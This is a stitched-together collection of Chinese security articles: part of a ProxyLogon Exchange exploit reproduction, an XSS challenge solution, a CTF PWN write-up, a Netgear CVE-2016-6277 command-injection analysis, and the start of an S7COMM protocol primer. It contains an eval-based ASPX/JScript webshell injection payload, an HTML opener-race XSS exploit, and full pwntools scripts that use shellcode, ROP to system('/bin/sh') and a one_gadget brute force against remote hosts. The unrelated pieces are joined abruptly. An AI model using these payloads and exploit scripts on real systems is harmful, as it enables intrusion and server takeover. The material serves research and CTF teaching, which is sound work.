/ecp/)的URL,`X-BEResource`的cookie, 和一个以静态文件类型扩展名结尾的URL(例如js,
css,flt等)。由于此代码是在HttpProxy中实现的， **因此URL不需要合法** ,这解释了以下的事实:
一些payload只是使用了`/ecp/y.js`类型的一个不存在的文件。
`X-BEResource`cookie在`BackEndServer.FromString`解析,从而有效地分离`~`的字符串，并分配第一个元素给"FQDN"给后端，解析第二个为整数的版本号。
然后我们跟踪了该`BackEndServer`对象的用法，并发现该对象已用于`ProxyRequestHandler`去决定
将代理请求发送到的主机。URI是`GetTargetBackEndServerUrl`通过`UriBuilder`来构造的,是本地.NET的类。
_缩小的代码显示ProxyRequestHandler中的相关方法。_
* * *
在这一点上,我们可以通过设置特定的标头并将请求发送到/
ecp中的“静态”文件来从理论上控制用于这些后端连接的主机。但是仅控制主机并不足以在Exchange后端调用任意的终结点。为此,我们查看了.NET源代码本身，以了解如何实现UriBuilder。
_参考源代码中UriBuilder的ToString方法。_
* * *
如上面的代码片段所示，UriBuilder的ToString方法（用于构造URI）使用我们的输入执行简单的字符串连接。因此，如果将Host设置为`"example.org/api/endpoint/#"`，则可以有效地获得对目标URL的完全控制。
有了这些信息，我们就可以通过以下HTTP请求演示SSRF了。
_由于Kerberos主机不匹配，SSRF尝试访问example.org失败。_
唉! 由于`NegotiateSecurityContext`与example.org通信出错，我们的SSRF尝试“失败” 。
事实证明，此错误是我们理解SSRF的关键，因为它表明了HTTP代理正试图通过Kerberos向后端服务器进行身份验证的事实。通过将主机名设置为Exchange服务器计算机名，Kerberos身份验证成功，并且我们可以通过以`NT
AUTHORITY\SYTEM`身份访问端点。有了这些信息，我们就足以通过以下HTTP请求演示SSRF…
_由于后端身份验证检查，导致SSRF尝试失败。_
唉!
再次失败！后端服务器由于某种原因拒绝了我们的请求。跟踪此错误，我们最终发现了`EcpProxyRequestHandler.AddDownLevelProxyHeaders`方法，只有`ProxyToDownLevel`在`GetTargetBackEndServerUrl`方法中将其设置为true时才调用该方法。此方法检查用户是否已通过身份验证，如果未通过验证，则返回HTTP
401错误。
幸运的是，我们可以通过修改Cookie中的服务器版本来防止`GetTargetBackEndServerUrl`设置此值。如果版本大于`Server.E15MinVersion`，`ProxyToDownLevel`则为false。进行此更改后，我们成功通过了后端服务（自动发现服务）的身份验证。
_成功向自动发现端点发送SSRF。_
* * *
在查看上面的代码路径时，我们在OWA代理处理程序中发现了另一个SSRF。这些请求是在没有Kerberos身份验证的情况下发送的，因此可以将其定向到任意服务器，如下所示。
_成功的SSRF尝试通过X-AnonResource cookie进入example.org。_
* * *
至此，我们有足够的信息来伪造对某些后端服务的请求。我们不会发布有关如何正确认证更敏感的服务（例如/ecp）的信息，因为该信息不是公开可用的。
### 任意文件写入（[CVE-2021-27065](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065)）
有了SSRF，我们将注意力转向了远程代码执行。在开始发布补丁程序之前，关于此漏洞的第一个线索来自Microsoft和Volexity发布的提示。即，此Powershell命令可在ECP日志中搜索危害指标：
Select-String -Path "$env:PROGRAMFILES\Microsoft\ExchangeServer\V15\Logging\ECP\Server\*.log" `-Pattern 'Set-.+VirtualDirectory'
此外，Volexity博客文章描述了`/ecp/DDI/DDIService.svc/SetObject`与利用有关的请求。有了这两个事实，我们在diff中搜索了ECP或DDI类中与文件I
/
O相关的任何内容。结果很快出来了，是位于`Microsoft.Exchange.Management.ControlPanel.DIService`的`WriteFileActivity`类。“控制面板”是ECP的面向用户的名称，DDIService直接在指示符URL中。如下面的差异所示，旧功能将具有用户控制名称的文件直接写入磁盘。在新功能中，代码会附加“
.txt”文件扩展名（如果尚不存在）。知道一般的漏洞利用包括将ASPX
Webshell编写到服务器上，这`WriteFileActivity`似乎是漏洞利用的主要选择。
_修补WriteFileActivity.cs的差异_
* * *
如果我们在Exchange安装目录中搜索WriteFileActivity，则会在Exchange Server \ V15 \ ClientAccess
\ ecp \ DDI中的多个XAML文件中看到该文件。
_ResetOABVirtualDirectory.xaml中的代码段_
\--
在检查了XAML文件并查看了Exchange Web
UI中的ECP功能之后，我们确定上面的SetObjectWorkflow描述了要在服务器端执行的一系列步骤（包括Powershell
cmdlet执行），以执行特定操作。
_ECP用户界面，显示ResetVirtualDirectory的配置选项。_
* * *
通过提交示例ResetVirtualDirectory请求，我们观察到Exchange服务器写入了一个关于VirtualDirectory的美化打印的配置到指定的路径，删除了VirtualDirectory，然后重新创建了该目录。该配置文件包含目录中的许多属性，并且可以使用任意扩展名写入到系统上的任何目录。请求和结果文件的屏幕截图如下所示.
http请求DDIService去重置OAB VirtualDirectory的示例:
POST /ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary={csrf} HTTP/1.1
Host: localhost
Cookie: msExchEcpCanary={csrf};
Content-Type: application/json
{
"identity": {
"__type": "Identity:ECP",
"DisplayName": "OAB (Default Web Site)",
"RawIdentity": "cf64594f-d739-44a4-aa70-3fbd158625e2"
},
"properties": {
"Parameters": {
"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": "C:\\VirtualDirectory.aspx"
}
}
}
_DDIService导出的文件显示了VirtualDirectory的所有属性。_
* * *
_ECP Web UI显示VirtualDirectory的可编辑参数。_
UI中公开了以下参数，用于编辑VirtualDirectory。值得注意的是，内部URL和外部URL在UI中公开，在XAML中作为参数描述，并在任意路径下写入文件中。这些因素的组合允许攻击者控制的输入到达任意路径，这是启用Webshell所必需的条件。
经过一些试验，我们确定服务器的内部/外部URL字段已部分验证。即服务器验证了URI方案，主机名，并强加了256个字节的最大长度。另外，服务器对有效负载中的任何百分号进行“百分比编码”（例如，“％”变为“％25”）。结果，像这样的经典ASPX代码块`<%
code %>`被转换为`<%25 code %25>`无效的代码块。但是，未对其他元字符（例如<和>）进行编码，从而允许注入如下所示的URL：
http://o/#<script language="JScript" runat="server">function Page_Load(){eval(Request["mlwqloai"],"unsafe");}</script>
> PS.又是一个good trick！
重置VirtualDirectory后，此URL会嵌入到导出中，并保存到我们选择的路径中，从而允许在Exchange服务器上执行远程代码。
_使用webshell在受感染的Exchange服务器上执行命令。_
* * *
### 泄漏后端+域
完整的利用链需要Exchange服务器后端和域。在[Crowdstrike的有关攻击的博客文章中，](https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits/)他们发布了整个Internet上正在发生的攻击的完整日志。在此日志中，第一个调用一个/ rpc /端点：
_初始请求命中了Exchange公开的/ rpc /_
* * *
此初始请求必须是未经身份验证的，并且可能利用[HTTP](https://docs.microsoft.com/en-us/previous-versions/tn-archive/aa996225\(v=exchg.65)?redirectedfrom=MSDN)上的[RPC，](https://docs.microsoft.com/en-us/previous-versions/tn-archive/aa996225\(v=exchg.65)?redirectedfrom=MSDN)该[RPC](https://docs.microsoft.com/en-us/previous-versions/tn-archive/aa996225\(v=exchg.65)?redirectedfrom=MSDN)本质上通过端点公开了NTLM身份验证。HTTP上的RPC本身是一个相当复杂的协议，可以[通过Microsoft的开放规范计划对其进行详细介绍](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpch/d49bfc93-1e8c-4741-ba49-56067e56314b)。
作为攻击者，我们有兴趣解析发送[NTLM协商消息](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b34032e5-3aae-4bc6-84c3-c6d80eadf7f2)后返回给我们的[NTLM质询](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786)[消息](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b34032e5-3aae-4bc6-84c3-c6d80eadf7f2)。该质询消息包含许多[AV_PAIR结构](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e)，[这些结构](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e)包含我们感兴趣的信息，特别是`MsvAvDnsComputerName`（后端服务器名称）和`MsvAvDnsTreeName`（域名）。
[Impacket的](https://github.com/SecureAuthCorp/impacket)
[http.py](https://github.com/SecureAuthCorp/impacket/blob/master/impacket/http.py#L143)已经包含执行此协商以生成协商消息，然后将质询响应解析为AV_PAIR结构的代码。请求和响应最终看起来像：
RPC_IN_DATA /rpc/rpcproxy.dll HTTP/1.1Host: frontend.exchange.contoso.comUser-Agent: MSRPCAccept: application/rpcAccept-Encoding: gzip, deflateAuthorization: NTLM TlRMTVNTUAABAAAABQKIoAAAAAAAAAAAAAAAAAAAAAA=Content-Length: 0Connection: close
HTTP/1.1 401 UnauthorizedServer: Microsoft-IIS/8.5request-id: 72dce261-682e-4204-a15a-8055c0fd93d9Set-Cookie: ClientId=IRIFSCHPJ0YLFULO9MA; expires=Tue, 08-Mar-2022 22:48:47 GMT; path=/; HttpOnlyWWW-Authenticate: NTLM TlRMTVNTUAACAAAACAAIADgAAAAFAomiVN9+140SRjMAAAAAAAAAAJ4AngBAAAAABgOAJQAAAA9DAE8AUgBQAAIACABDAE8AUgBQAAEACABlAHgAVgBNAAQAIABjAG8AcgBwAC4AYwBvAG4AdABvAHMAbwAuAGMAbwBtAAMAKgBlAHgAVgBNAC4AYwBvAHIAcAAuAGMAbwBuAHQAbwBzAG8ALgBjAG8AbQAFACAAYwBvAHIAcAAuAGMAbwBuAHQAbwBzAG8ALgBjAG8AbQAHAAgA8EkBM20U1wEAAAAAWWW-Authenticate: NegotiateWWW-Authenticate: Basic realm="frontend.exchange.contoso.com"X-Powered-By: ASP.NETX-FEServer: frontendDate: Mon, 08 Mar 2021 22:48:47 GMTConnection: closeContent-Length: 0
可以使用Impacket解析base64编码的哈希，以显示泄漏的域信息。
_嵌入在WWW身份验证NTLM挑战中的泄漏的域信息_
恢复`AV_PAIR data`的编码为[Windows Unicode，](https://docs.microsoft.com/en-us/windows/win32/intl/unicode)并将特定映射`AV_ID`到值。`AV_IDs`是映射到特定内容的常量，例如，我们要获取3（后端主机名）和5（域）的字符串。
_AV_PAIR结构到计算数据中数字的映射_
* * *
此处发布的信息确定后端值为ex.corp.contoso.com，域为corp.contoso.com。这些是滥用前面讨论的SSRF漏洞所需的值。
### 课外工作
如其他地方所述，我们已省略某些漏洞利用细节，以防止漏洞利用。读者可以通过这种机制来利用任意用户对ECP端点进行身份验证的机制。一旦有足够的时间，我们将在后续博客中发布有关此问题的更多详细信息。
## 检测
Microsoft’s Threat Intel Center (MSTIC)
已经提供了出色[indicators](https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/)和[detection
scripts](https://github.com/microsoft/CSS-Exchange/tree/main/Security)，任何配备内部Exchange服务器的人都应该使用。为了确定是否存在妥协，我们建议SOC，MSSP和MDR采取以下步骤：
1. 确保所有端点保护产品均已更新并正常运行。尽管漏洞利用本身可能尚未向检测引擎发布大量的IoC，但可以使用现代工具轻松检测漏洞利用后的活动。
2. 在所有Exchange服务器上，从上面链接的Microsoft github运行“ TestProxyLogon.ps1”脚本。根据我们对利用漏洞进行武器化的经验，脚本应检测出任何被利用系统的证据。
3. 仔细检查有问题的服务器的配置，计划的任务，自动运行等，这些都是攻击者在获得初始访问权限后可能隐藏的所有位置。确保为Exchange服务器启用了“审核过程创建”审核策略和PowerShell日志记录，并检查可疑的命令和脚本。差异应尽快得到验证，报告和补救。
在继续探索这些漏洞的过程中，我们打算发布其他材料，以检测您所在环境中此漏洞的任何证据。
## 实施漏洞利用
[Sean Metcalf](https://adsecurity.org/?p=4119)和[Trimarc
Security的](https://www.trimarcsecurity.com/single-post/2019/02/12/Mitigating-Exchange-Permission-Paths-to-Domain-Admins-in-Active-Directory)先前工作详细介绍了本地Exchange安装通常随附高级权限。
通过这种方式进行配置后，控制Exchange服务器的攻击者可以轻松地将此访问权限用于ACL滥用引起的整个域范围的损害。受影响的环境可以通过检查应用于根域对象的ACL并观察易受攻击的Exchange资源是否属于这些组来确定是否应怀疑站点范围的损害。我们在Trimarc帖子中对PowerShell片段进行了修改，以更具体地筛选Exchange
Windows权限和Exchange受信任子系统组。如果您的环境已将Exchange资源添加到自定义组或其中的自定义组，则需要相应地调整脚本。
import-module ActiveDirectory
$ADDomain = ''
$DomainTopLevelObjectDN = (Get-ADDomain $ADDomain).DistinguishedName
Get-ADObject -Identity $DomainTopLevelObjectDN -Properties * | select -ExpandProperty nTSecurityDescriptor | select -ExpandProperty Access | select IdentityReference,ActiveDirectoryRights,AccessControlType,IsInherited | Where-Object {($_.IdentityReference -like "*Exchange Windows Permissions*") -or ($_.IdentityReference -like "*Exchange Trusted Subsystem*")} | Where-Object {($_.ActiveDirectoryRights -like "*GenericAll*") -or ($_.ActiveDirectoryRights -like "*WriteDacl*")}
## 致谢
我们的研究过程依赖于原始研究人员，事件响应者和其他致力于复现这些错误的安全研究人员已发表的作品，而不是凭空复现。我们的感谢和欣赏的是：
* [DEVCORE-](https://devco.re/)发现了原始Bug
* [Volexity-](http://volexity.com/)在野外发现了bug
* [@ 80vul-](https://twitter.com/80vul/)第一个复现漏洞利用链的用户
* [Rich Warren（@buffaloverflow）-](http://twitter.com/buffaloverflow)在调查过程中与我们积极合作的人
* [Crowdstrike-](https://www.crowdstrike.com/)发表了有关野外主动攻击的其他信息
* [微软-](https://www.microsoft.com/)迅速发布了指示和补丁
> 本文为翻译文章，原文链接:<https://www.praetorian.com/blog/reproducing-proxylogon-> exploit/> | 社区文章 |
**前言**
之前发了《一些BAT的XSS实例》系列的6篇技术文章，很多朋友表示看的意犹未尽，问我还有没有续集。刚好最近gainover和香草发了我了几个题说挺有意思，我就去试了试，结果一道都没做出来。后来看了答案后，感觉的确很有意思，所以将题目部分做了下修改，来作为该系列的续集，进行下思路的分享。
先把设计的几个题目发出来
http://px1624.sinaapp.com/test/xsstest13/
http://px1624.sinaapp.com/test/xsstest14/
http://px1624.sinaapp.com/test/xsstest15/
http://px1624.sinaapp.com/test/xsstest16/
其中14题是gainover设计的那个原题，因为我尝试做了些改动，发现都不能很好的达到预期的效果。另外3个是，根据香草设计的题的解题思路，做了些改动。
有兴趣的朋友，可以先不看文章，自己尝试的做一做题目，有答案的话可以发到我的邮箱 [email protected]
并附上自己的ID，说不定下篇文章里面就会有你的绕过思路被收录了额。
**先来看看第14题：**
还是老规矩，先看下源码。
一共是有3个函数，前面2个分别是url编码和url解码的功能，没啥多大意义，这里主要看下第三个函数。
看完后，可能大家很快的就会给出一个payload如下：
http://px1624.sinaapp.com/test/xsstest14/?returnurl=javascript:alert(1)
然后去测试发现，并不能弹窗，会报错下图这个。
这时可能就比较懵圈了，所以要去了解opener的相关知识，可以参考这里：
<https://developer.mozilla.org/zh-CN/docs/Web/API/Window/opener>
在了解了opener的相关知识后就知道，直接去在这个页面去构造的话，压根就不存被打开窗口的页面，那么opener肯定就是null，所以就会报错这个。
那么我们首先思路肯定就是，需要去构造一个页面去打开这个14题的页面，这样才会存在opener，然后你可能会去这么写。
<input type="button" value="test" onclick="window.open('http://px1624.sinaapp.com/test/xsstest14/?returnurl=javascript:alert(1)')" />
然后测试后发现，并没有成功，报错这个了。
因为这时候的opener的页面肯定是你自己的，那么opener.location.href就会存在跨域问题。
具体流程如下：
你的页面 --> window.open("http://px1624.sinaapp.com/") --> opener.location.href （跨域报错）
所以若要解决这个问题，我们需要思路变成这样。
你的页面 --> window.open("http://px1624.sinaapp.com/") --> （把opener变成目标域名页面） --> opener.location.href （成功弹窗）
那么如何把opener变成目标域名页面呢？
要达到这个目的，我们就需要open后立马location跳转走，跳转到目标域名的页面，这样就可以解决跨域的问题了。
由于opener 是一个 window
的引用，而新窗口的window.open打开操作，会有窗口创建、有内容渲染，时间上会比location要慢的。所以等到新窗口去调用opener.location.href
的时候， opener 的location 已经变了，从你的页面变为了目标域名的页面，这样就不会因为跨域导致报错了。
简单来说，就是打了个时间差，你可以像下面这么理解。
考试的时候，有监考老师在监考，你趁着他没注意的时候，偷偷的瞄了一眼答案。然后他可能预估打你会作弊，但是当他转身去看你的这个过程中，是需要时间的，这个时间你已经偷偷的把答案瞄到了。这样他转身是需要一系列的动作过程的，肯定是比你瞄一眼答案用的时间久，这样就打了个时间差成功作弊了。
这里我直接给出一个，比较具体的payload代码：
这里有一点要注意，window.open和location的url，一定要用https不能用http，不然也会存在跨域问题。我当时在做这个题的时候，就是犯了这个疏忽，然后payload构造好，就一直没成功。
这里可能有人或许会问，为啥payload要写成这么麻烦，还要去点击呢？
直接执行open_win函数不就行了么？
其实是因为window.open函数的原因，这个函数如果自动去执行的话，浏览器是会直接进行拦截的。不然你打开一个页面，给你直接弹100个广告出来，你是一种什么感受，哈哈。
但是浏览器是不会拦截用户点击触发的window.open的，这里的机制主要是判断是否有用户操作。所以我们只需要把整个页面 设置为
可点击，所以将button的css属性设置成了整个页面。
将以下payload保存为html，打开html文件，点击页面任意位置即可触发。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>
function open_win() {
window.open("https://px1624.sinaapp.com/test/xsstest14/");
location="https://px1624.sinaapp.com/test/xsstest14/?returnurl=javascript:alert(14)";
}
</script>
</head>
<body>
<input type="button" value="点击任意位置" onclick="open_win()" style="width:2000px;height:1000px;background-color:white;border:none">
</body>
</html>
效果如下图，整个页面任意位置点击触发。
**下面看看第13题，先看下源码。**
可以看到这道题的源码特别的简单，大概意思就是判断如果没有传入参数sss，就跳转到px.php这个文件。
而在px.php这里，你发现可以写入字符，而且可以解析标签，然后感觉这不是很简单啊，但是测试后发现，长度限制在了7个字符，貌似啥也干不了。
这也是这题目设计的第一个知识点（坑），如果不注意看源码，直接在这个跳转页面去测试的话，那可以说就走远了，这种我在前面的题目设计中，也都有用过。
可能有的人说，这种知识点（坑）没啥意义，谁会注意不到呢？你还真别说，还真有蛮多人就卡在这里直接GG思密达了。
下面继续说思路，从这个px.js的源码中我们可以发现，需要传入的参数是sss，所以我们给url传个sss参数进去。
发现貌似什么都没有过滤，那么传个xss代码进去试试。
发现不管怎么写，代码都可以直接写进去，但是就是不弹窗。很多人可能就会很郁闷，这什么bug啊，明明写进去了，但是为什么就是不执行，这时候可能就很奇怪了，Why?
我们还是去看下控制台的报错信息吧：
其实是因为我设计题目的时候，在服务器端部署了CSP规则，这也就是题目的第二个考点，什么是CSP，可以百度了解下。
也可以参考这里：<https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP>
或者这里：<http://www.ruanyifeng.com/blog/2016/09/csp.html>
具体后续的分析，文章篇幅有限，还是放在后续的第八篇里专门讲下吧，有兴趣的朋友，可以参考上面的CSP相关知识，自己再去尝试下能不能成功。
**总结：**
在上面的解法思路中，用到了opener和location的一些特性等。可以看到，其实主要还是思路要对，同时基础知识要过硬，这样才能在XSS漏洞这方面做到“人挡杀人，佛挡杀佛”的操作。
**尾巴：**
截至发稿前，仅有几个人给出了部分答案。
目前共设计有16道题，修改下方链接的xsstest1为xsstest1~xsstest16即可。
<http://px1624.sinaapp.com/test/xsstest1/> | 社区文章 |
# 2020 蓝帽杯线下赛PWN WriteUp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## slient
这个题目很容易看到这是执行`shellcode`，但是长度最大只有`0x40`字节。这个题目和天翼杯的`safebox`的题目类似，都是写入`shellcode`爆破`flag`。这里直接用的[天翼杯2020_wp_by_LQers](https://www.freebuf.com/articles/network/245664.html)中的`shellcode`。
# encoding=utf-8
from pwn import *
file_path = "./chall"
context.arch = "amd64"
# context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
# if debug:
# p = process([file_path])
# gdb.attach(p, "b *$rebase(0xC94)")
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# one_gadget = 0x0
#
# else:
# p = remote('', 0)
# libc = ELF('')
# one_gadget = 0x0
def pwn(p, index, ch):
read_next = "xor rax, rax; xor rdi, rdi;mov rsi, 0x10100;mov rdx, 0x300;syscall;"
# open
shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"
# re open, rax => 4
shellcode += "push 2; pop rax; syscall;"
# read(rax, 0x10040, 0x50)
shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"
# cmp and jz
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)
shellcode = asm(shellcode)
# p.sendlineafter("execution-box.\n", read_next.ljust(0x30))
p.sendafter("execution-box.\n", shellcode.ljust(0x40 - 14, b'a') + b'./flag')
index = 0
ans = []
while True:
for ch in range(0x20, 127):
if debug:
p = process([file_path])
else:
p = remote('8.131.246.36', 40334)
pwn(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end - start > 1.5:
ans.append(ch)
print("".join([chr(i) for i in ans]))
break
else:
print("".join([chr(i) for i in ans]))
break
index = index + 1
print(ans)
print("".join([chr(i) for i in ans]))
## fuantoie
这个题目在`edit，show`函数中很多扰乱视线的东西，`add，delete`函数很容易就可以分析出来，并不存在漏洞。因此漏洞主要集中于`edit,show`这两个函数中。
经过手动测试和分析发现漏洞位于`0x4011F1`函数中
这里`snprintf`函数的返回结果是我们输入的字符串的长度，也就是`input_200_buf`字符串数组中的长度。因此结合后面的`for`循环就可以进行栈溢出。但是程序开启了`canary`。这里就需要绕过一下，输入`+/-`即可。构造`rop`泄漏出`libc`地址之后，直接`rop`执行`system("/bin/sh")`即可。
在构造的时候需要注意的一点就是，这里写入的是`%d`也就是四字节，因此对于一个地址我们需要分两次写入。
# encoding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
gdb.attach(p, "b *0x04012A2\nb *0x401287")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('8.131.246.36', 15823)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
def add(size):
p.sendlineafter(">> ", "1")
p.sendlineafter("size?\n", str(size))
def delete(index):
p.sendlineafter(">> ", "2")
p.sendlineafter("index ?\n", str(index))
def edit(index, content, test):
p.sendlineafter(">> ", "3")
p.sendlineafter("index ?\n", str(index))
p.sendafter("new content ?\n", content)
p.sendlineafter("pass some test first\n", str(test))
def show(index):
p.sendlineafter(">> ", "4")
p.sendlineafter("index ?\n", str(index))
p_rdi_r = 0x0000000000401763
start = 0x400750
payload = "+\n"*38
payload += str(p_rdi_r) + "\n0\n"
payload += str(elf.got['puts']) + "\n0\n" + str(elf.plt['puts']) + "\n0\n"
payload += str(start) + "\n0\n"
show(22)
p.sendlineafter("boy\n", "a"*(38 + 8 - 1))
p.sendlineafter("lo\n", payload)
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - libc.sym['puts']
bin_sh_address = libc.search(b"/bin/sh\x00").__next__()
system_address = libc.sym['system']
payload = "+\n"*38
payload += str(p_rdi_r) + "\n0\n"
payload += str(bin_sh_address & 0xffffffff) + "\n"
payload += str(bin_sh_address >> 32)+"\n"
payload += str(system_address & 0xffffffff) + "\n"
payload += str(system_address >> 32) + "\n"
payload += str(start) + "\n0\n"
show(22)
log.success("libc address is {}".format(hex(libc.address)))
p.sendlineafter("boy\n", "a"*(38 + 8 - 1))
p.sendlineafter("lo\n", payload)
# add(0x68)
# edit(0, "a", 112)
# p.sendlineafter("I love you so much\n", "a"*0x200)
# p.sendline("a"*112)
p.interactive()
## simple_canary
很明显的栈溢出漏洞，但是程序开启了`pie`，由于这里`GLIBC<=2.23`因此这里可以使用`vsyscall`作为滑板指令，这里和`DASCTF
8`月赛类似，我们先来看一下`read`完毕之后的栈
如果此时程序中存在后门的话，我们修改任意一个`elf`地址的低位指向后门函数，之后利用滑板指令滑到此处即可。但是该程序中并不存在后门。因此这里我采用的是覆写`libc_start_main+240`为`one_gadget`进行爆破。这种方式`1/(16*16*16)`的概率。
# encoding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
gdb.attach(p, "b *$rebase(0x116e)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('8.131.246.36', 38989)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
''''
root@18491090a044:~/work# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
root@18491090a044:~/work#
20840
'''
# one_gadget = 0x45226
# 0x7ffff7a0d000-- one_gadget = 0xa9b226
while True:
try:
payload = b'a' * (0x20) + p64(0xdeadbeef)
payload += p64(0xffffffffff600000) * 8
payload += p64(one_gadget)[:3]
p.sendafter("input something:\n", payload)
p.sendline("cat flag")
p.sendline("cat /flag")
res = p.recv()
print(res)
if b"flag" not in res:
raise EOFError
break
except KeyboardInterrupt:
exit()
except:
p.close()
p = remote('8.131.246.36', 38989) | 社区文章 |
# 『P2P僵尸网络漏洞研究——mozi』 netgear路由器漏洞复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x0 前言
>
> IBM的研究人员指出，Mozi的代码与Mirai及其变体重叠，并重用Gafgyt代码，在过去的一年里迅速“登上王座”，在2019年10月至2020年6月期间观察到的物联网网络攻击流量中占90%。——《新的僵尸物联网攻击流量之王：Mozi》；作者：安全牛
Mozi的传播利用了许多设备的漏洞，其中就包括了CVE-2016-6277，如下图1、图2所示。
图1
图2
## 0x1 简介
NETGEAR
R6250在1.0.4.6.Beta之前，R6400在1.0.1.18.Beta之前，R6700在1.0.1.14.Beta，R6900，R7000在1.0.7.6.Beta之前，R7100LG在1.0.0.28.Beta之前，R7300DST在1.0.0.46.Beta之前，1.0.1.8.Beta之前的R7900、1.0.3.26.Beta，D6220，D6400，D7000之前的R8000，以及可能的其他路由器，允许远程攻击者通过shell在
cgi-bin/ 的路径中执行任意命令。
以Netgear R7000，版本V1.0.7.02_1.1.93为例，复现CVE-2016-6277。
## 0x2 准备
版本 V1.0.7.02_1.1.93：<http://support.netgear.cn/doucument/More.asp?id=2251>
调试的程序：httpd
图3
## 0x3 工具
静态分析：IDA
获取文件系统：binwalk
## 0x4 测试环境
Netgear R7000路由器真机测试，可以在某宝上或者某鱼上购买（价格不贵）。
## 0x5 漏洞分析
使用 binwalk -Me R7000-V1.0.7.2_1.1.93.chk 即可解包成功（固件没有加密，可直接分析）。
图4
将要分析的httpd，拖到IDA中分析，并通过CVE给出的部分信息，大概可以知道，漏洞点出现在图5中。在Mozi程序中，也可以分析出，该漏洞是一个命令执行漏洞，那么只需要找system等命令执行函数即可。
图5
sprintf(cmd, “/www/cgi-bin/%s > /tmp/cgi_result”, v41); 通过该命令可以看出，如果将 %s 换成
;ls 的话，/www/cgi-bin/;ls > /tmp/cgi_result 那么就会将ls的结果存放到 /tmp/cgi_result，假设
/tmp/cgi_result 可以看到ls的结果，那么证明漏洞就存在此处。如图6是通过开放telnet端口进入之后，查看
/tmp/cgi_result，最终发现和预想的一样。如图5所示，如果需要cmd参数执行成功，那么v41参数就必须可以控制。
图6
往上溯源，发现v41的值来自v14的值，而v14的值来自v10。继续溯源。
图7
如图8可以看到v10的值来自a3，根据多年经验得出a3是路径。
图8
从此处可以看出a3是个url，那么不就是Mozi程序中的，/cgi-bin 了吗？从图8中可以看出 cgi-bin 后面也可以加 ?
，因为v41参数也可以再次出获取到。
图9
## 0x6 小结
这个漏洞相对来说比较简单，适合入门的大白。如果有兴趣调试的话，可以参考 复现影响79款Netgear路由器高危漏洞 。 | 社区文章 |
# 0x01 S7COMM协议
S7COMM 全称S7 Communication，是西门子专有协议，在西门子S7-300 /
400系列的PLC之间运行，用于PLC编程，PLC之间的数据交换。S7协议被封装在TPKT和ISO-COTP协议中，这里就不对 TPKT 和 ISO-COTP 进行介绍了，仅仅说一些关于 S7Comm 协议部分。
S7Comm协议包含三部分：
* Header
* Parameter
* Data
Header 的内容包含8 个字段，如下图所示：
0 – 1 字节：
Protocol Id；即协议ID，通常为0x32；
1 – 2 字节：
ROSCTR：PDU type；即PDU的类型，一般有以下值：
* 0x01：JOB
即作业请求，如，读/写存储器，读/写块，启动/停止设备，设置通信
* 0x02：ACK
即确认相应，这是一个没有数据的简单确认
* 0x03：ACK_DATA
即确认数据相应，一般是响应JOB的请求
* 0x07：USERDATA
即扩展协议，其参数字段包含请求/响应ID，一般用于编程/调试、读取SZL等
2 – 4 字节：
Redundancy Identification (Reserved)，即冗余数据，通常为0x0000；
4 - 6 字节：
Protocol Data Unit Reference，即协议数据单元参考，它通过请求事件增加；
6 – 8 字节：
Parameter length，即参数的总长度
8 – 10 字节：
Data length，即数据长度，如果读取PLC内部数据，此处为0x0000；而对于其他功能，则为Data部分的数据长度；
10 – 12 字节：
Error class，即错误类型，其错误代码对应意思如下表：
Hex | Value | 描述
---|---|---
0x00 | No error | 没有错误
0x81 | Application relationship | 应用关系
0x82 | Object definition | 对象定义
0x83 | No resources available | 没有可用资源
0x84 | Error on service processing | 服务处理中错误
0x85 | Error on supplies | 请求错误
0x87 | Access error | 访问错误
12 - 14 字节：
